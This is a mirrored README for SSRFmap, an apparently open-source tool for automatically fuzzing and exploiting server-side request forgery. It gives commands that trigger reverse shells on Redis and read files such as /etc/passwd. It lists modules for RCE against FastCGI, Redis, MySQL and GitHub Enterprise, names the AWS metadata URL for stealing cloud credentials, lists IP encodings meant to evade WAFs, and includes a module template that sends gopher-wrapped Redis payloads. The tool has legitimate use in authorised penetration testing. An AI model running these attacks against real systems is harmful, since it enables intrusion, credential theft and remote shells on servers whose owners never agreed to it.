79

GitHub - swisskyrepo/SSRFmap: Automatic SSRF fuzzer and exploitation tool

 5 years ago
source link: https://github.com/swisskyrepo/SSRFmap
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

README.md

SSRFmap Python 3.4+

SSRF are often used to leverage actions on other services, this framework aims to find and exploit these services easily. SSRFmap takes a Burp request file as input and a parameter to fuzz.

Server Side Request Forgery or SSRF is a vulnerability in which an attacker forces a server to perform requests on their behalf.

Guide / RTFM

Basic install from the Github repository.

git clone https://github.com/swisskyrepo/SSRFmap
cd SSRFmap/
python3 ssrfmap.py

usage: ssrfmap.py [-h] [-r REQFILE] [-p PARAM] [-m MODULES] [--lhost LHOST] [--lport LPORT] [--level LEVEL]

optional arguments:
  -h, --help     show this help message and exit
  -r REQFILE     SSRF Request file
  -p PARAM       SSRF Parameter to target
  -m MODULES     SSRF Modules to enable
  -l HANDLER     Start an handler for a reverse shell
  --lhost LHOST  LHOST reverse shell
  --lport LPORT  LPORT reverse shell
  --level [LEVEL]  Level of test to perform (1-5, default: 1)

The default way to use this script is the following.

# Launch a portscan on localhost and read default files
python ssrfmap.py -r data/request.txt -p url -m readfiles,portscan

# Triggering a reverse shell on a Redis
python ssrfmap.py -r data/request.txt -p url -m redis --lhost=127.0.0.1 --lport=4242 -l 4242

# -l create a listener for reverse shell on the specified port
# --lhost and --lport work like in Metasploit, these values are used to create a reverse shell payload
# --level : ability to tweak payloads in order to bypass some IDS/WAF. e.g: 127.0.0.1 -> [::] -> 0000: -> ...

A quick way to test the framework can be done with data/example.py SSRF service.

FLASK_APP=data/example.py flask run &
python ssrfmap.py -r data/request.txt -p url -m readfiles

Modules

The following modules are already implemented and can be used with the -m argument.

Name Description fastcgi FastCGI RCE redis Redis RCE github Github Enterprise RCE < 2.8.7 zaddix Zaddix RCE mysql MySQL Command execution smtp SMTP send mail portscan Scan ports for the host networkscan HTTP Ping sweep over the network readfiles Read files such as /etc/passwd

Contribute

I <3 pull requests :) Feel free to add any feature listed below or a new service.

  • aws and other cloud providers - extract sensitive data from http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy and more

  • sockserver - SSRF SOCK proxy server - https://github.com/iamultra/ssrfsocks

  • handle request with file in requester

  • requester injection point in file (if param = None, check SSRFMAP in reqFile and replace with the payload)

  • add https://github.com/cujanovic/SSRF-Testing ip.py into the ip generator from core.utils

    http://425.510.425.510/ Dotted decimal with overflow
    http://2852039166/ Dotless decimal
    http://7147006462/ Dotless decimal with overflow
    http://0xA9.0xFE.0xA9.0xFE/ Dotted hexadecimal
    http://0xA9FEA9FE/ Dotless hexadecimal
    http://0x41414141A9FEA9FE/ Dotless hexadecimal with overflow
    http://0251.0376.0251.0376/ Dotted octal
    http://0251.00376.000251.0000376/ Dotted octal with padding

The following code is a template if you wish to add a module interacting with a service.

from core.utils import *
import logging

name          = "servicename in lowercase"
description   = "ServiceName RCE - What does it do"
author        = "Name or pseudo of the author"
documentation = ["http://link_to_a_research", "http://another_link"]

class exploit():
    SERVER_HOST = "127.0.0.1"
    SERVER_PORT = "4242"

    def __init__(self, requester, args):
        logging.info("Module '{}' launched !".format(name))

        # Handle args for reverse shell
        if args.lhost == None: self.SERVER_HOST = input("Server Host:")
        else:                  self.SERVER_HOST = args.lhost

        if args.lport == None: self.SERVER_PORT = input("Server Port:")
        else:                  self.SERVER_PORT = args.lport

        # Data for the service
        # Using a generator to create the host list
        # Edit the following ip if you need to target something else
        gen_host = gen_ip_list("127.0.0.1", args.level)
        for ip in gen_host:
            port = "6379"
            data = "*1%0d%0a$8%0d%0aflus[...]%0aquit%0d%0a"
            payload = wrapper_gopher(data, ip , port)

            # Handle args for reverse shell
            payload = payload.replace("SERVER_HOST", self.SERVER_HOST)
            payload = payload.replace("SERVER_PORT", self.SERVER_PORT)

            # Send the payload
            r = requester.do_request(args.param, payload)

You can also contribute with a beer IRL or with buymeacoffee.com

Coffee

Thanks to the contributors

  • ???

Inspired by


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK